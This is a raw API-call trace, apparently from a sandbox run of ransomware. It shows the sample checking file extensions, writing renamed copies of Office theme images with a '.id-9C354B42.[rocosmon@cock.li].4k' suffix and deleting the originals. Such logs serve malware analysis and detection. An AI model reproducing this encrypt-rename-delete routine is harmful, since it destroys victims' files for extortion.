	[0102.863] lstrlenW (lpString=".docx") returned 5
	[0102.863] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.863] lstrlenW (lpString=".pdf") returned 4
	[0102.863] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.863] lstrlenW (lpString=".xls") returned 4
	[0102.863] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.863] lstrlenW (lpString=".xlsx") returned 5
	[0102.863] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.864] lstrlenW (lpString=".ppt") returned 4
	[0102.864] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.864] lstrlenW (lpString=".zip") returned 4
	[0102.864] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.864] lstrlenW (lpString=".rar") returned 4
	[0102.864] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.864] lstrlenW (lpString=".bz2") returned 4
	[0102.864] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.864] lstrlenW (lpString=".7z") returned 3
	[0102.864] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.864] lstrlenW (lpString=".dbf") returned 4
	[0102.864] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.864] lstrlenW (lpString=".1cd") returned 4
	[0102.864] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77
	[0102.864] lstrlenW (lpString=".jpg") returned 4
	[0102.864] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.864] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.864] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.865] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1293) returned 1
	[0102.865] CloseHandle (hObject=0x1ac) returned 1
	[0102.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20
	[0102.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.865] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.865] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.867] GetLastError () returned 0x0
	[0102.867] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x50d, lpOverlapped=0x0) returned 1
	[0102.889] WriteFile (in: hFile=0x1f0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x510, lpOverlapped=0x0) returned 1
	[0102.890] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.890] WriteFile (in: hFile=0x1f0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0102.890] SetEndOfFile (hFile=0x1f0) returned 1
	[0102.890] CloseHandle (hObject=0x1f0) returned 1
	[0102.890] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.890] SetEndOfFile (hFile=0x1ac) returned 1
	[0102.891] CloseHandle (hObject=0x1ac) returned 1
	[0102.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.891] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1
	[0102.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.891] lstrlenW (lpString=".doc") returned 4
	[0102.891] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.891] lstrlenW (lpString=".docx") returned 5
	[0102.891] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.891] lstrlenW (lpString=".pdf") returned 4
	[0102.891] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.891] lstrlenW (lpString=".xls") returned 4
	[0102.891] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.891] lstrlenW (lpString=".xlsx") returned 5
	[0102.891] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.892] lstrlenW (lpString=".ppt") returned 4
	[0102.892] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.892] lstrlenW (lpString=".zip") returned 4
	[0102.892] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.892] lstrlenW (lpString=".rar") returned 4
	[0102.892] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.892] lstrlenW (lpString=".bz2") returned 4
	[0102.892] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.892] lstrlenW (lpString=".7z") returned 3
	[0102.892] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.892] lstrlenW (lpString=".dbf") returned 4
	[0102.892] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.892] lstrlenW (lpString=".1cd") returned 4
	[0102.892] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.892] lstrlenW (lpString=".jpg") returned 4
	[0102.892] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.892] lstrlenW (lpString=".doc") returned 4
	[0102.892] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.892] lstrlenW (lpString=".docx") returned 5
	[0102.892] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.892] lstrlenW (lpString=".pdf") returned 4
	[0102.892] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.892] lstrlenW (lpString=".xls") returned 4
	[0102.892] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.892] lstrlenW (lpString=".xlsx") returned 5
	[0102.892] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.892] lstrlenW (lpString=".ppt") returned 4
	[0102.892] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.892] lstrlenW (lpString=".zip") returned 4
	[0102.893] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.893] lstrlenW (lpString=".rar") returned 4
	[0102.893] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.893] lstrlenW (lpString=".bz2") returned 4
	[0102.893] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.893] lstrlenW (lpString=".7z") returned 3
	[0102.893] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.893] lstrlenW (lpString=".dbf") returned 4
	[0102.893] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.893] lstrlenW (lpString=".1cd") returned 4
	[0102.893] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75
	[0102.893] lstrlenW (lpString=".jpg") returned 4
	[0102.893] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.893] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.893] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.893] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=20575) returned 1
	[0102.893] CloseHandle (hObject=0x1ac) returned 1
	[0102.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20
	[0102.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.894] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.894] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.894] GetLastError () returned 0x0
	[0102.894] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x505f, lpOverlapped=0x0) returned 1
	[0102.896] WriteFile (in: hFile=0x1f0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5060, lpOverlapped=0x0) returned 1
	[0102.897] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.897] WriteFile (in: hFile=0x1f0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.897] SetEndOfFile (hFile=0x1f0) returned 1
	[0102.898] CloseHandle (hObject=0x1f0) returned 1
	[0102.898] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.898] SetEndOfFile (hFile=0x1ac) returned 1
	[0102.899] CloseHandle (hObject=0x1ac) returned 1
	[0102.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.899] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1
	[0102.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.899] lstrlenW (lpString=".doc") returned 4
	[0102.899] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.899] lstrlenW (lpString=".docx") returned 5
	[0102.899] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.899] lstrlenW (lpString=".pdf") returned 4
	[0102.899] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.899] lstrlenW (lpString=".xls") returned 4
	[0102.899] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.899] lstrlenW (lpString=".xlsx") returned 5
	[0102.899] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.899] lstrlenW (lpString=".ppt") returned 4
	[0102.899] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.900] lstrlenW (lpString=".zip") returned 4
	[0102.900] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.900] lstrlenW (lpString=".rar") returned 4
	[0102.900] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.900] lstrlenW (lpString=".bz2") returned 4
	[0102.900] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.900] lstrlenW (lpString=".7z") returned 3
	[0102.900] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.900] lstrlenW (lpString=".dbf") returned 4
	[0102.900] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.900] lstrlenW (lpString=".1cd") returned 4
	[0102.900] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.900] lstrlenW (lpString=".jpg") returned 4
	[0102.900] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.900] lstrlenW (lpString=".doc") returned 4
	[0102.900] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.900] lstrlenW (lpString=".docx") returned 5
	[0102.900] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.900] lstrlenW (lpString=".pdf") returned 4
	[0102.900] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.900] lstrlenW (lpString=".xls") returned 4
	[0102.900] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.900] lstrlenW (lpString=".xlsx") returned 5
	[0102.900] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.900] lstrlenW (lpString=".ppt") returned 4
	[0102.900] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.900] lstrlenW (lpString=".zip") returned 4
	[0102.900] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.900] lstrlenW (lpString=".rar") returned 4
	[0102.900] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.901] lstrlenW (lpString=".bz2") returned 4
	[0102.901] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.901] lstrlenW (lpString=".7z") returned 3
	[0102.901] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.901] lstrlenW (lpString=".dbf") returned 4
	[0102.901] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.901] lstrlenW (lpString=".1cd") returned 4
	[0102.901] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76
	[0102.901] lstrlenW (lpString=".jpg") returned 4
	[0102.901] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.901] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.901] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.901] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1287) returned 1
	[0102.901] CloseHandle (hObject=0x1ac) returned 1
	[0102.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20
	[0102.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0102.902] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.902] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0102.955] GetLastError () returned 0x0
	[0102.955] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x507, lpOverlapped=0x0) returned 1
	[0103.016] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x510, lpOverlapped=0x0) returned 1
	[0103.017] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0103.017] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0103.017] SetEndOfFile (hFile=0x1f8) returned 1
	[0103.017] CloseHandle (hObject=0x1f8) returned 1
	[0103.017] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.017] SetEndOfFile (hFile=0x1ac) returned 1
	[0103.018] CloseHandle (hObject=0x1ac) returned 1
	[0103.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0103.018] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1
	[0103.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.018] lstrlenW (lpString=".doc") returned 4
	[0103.018] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0103.018] lstrlenW (lpString=".docx") returned 5
	[0103.018] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0103.018] lstrlenW (lpString=".pdf") returned 4
	[0103.018] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0103.019] lstrlenW (lpString=".xls") returned 4
	[0103.019] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0103.019] lstrlenW (lpString=".xlsx") returned 5
	[0103.019] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0103.019] lstrlenW (lpString=".ppt") returned 4
	[0103.019] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0103.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.019] lstrlenW (lpString=".zip") returned 4
	[0103.019] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0103.019] lstrlenW (lpString=".rar") returned 4
	[0103.019] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0103.019] lstrlenW (lpString=".bz2") returned 4
	[0103.019] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0103.019] lstrlenW (lpString=".7z") returned 3
	[0103.019] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0103.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.019] lstrlenW (lpString=".dbf") returned 4
	[0103.019] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0103.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.019] lstrlenW (lpString=".1cd") returned 4
	[0103.019] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
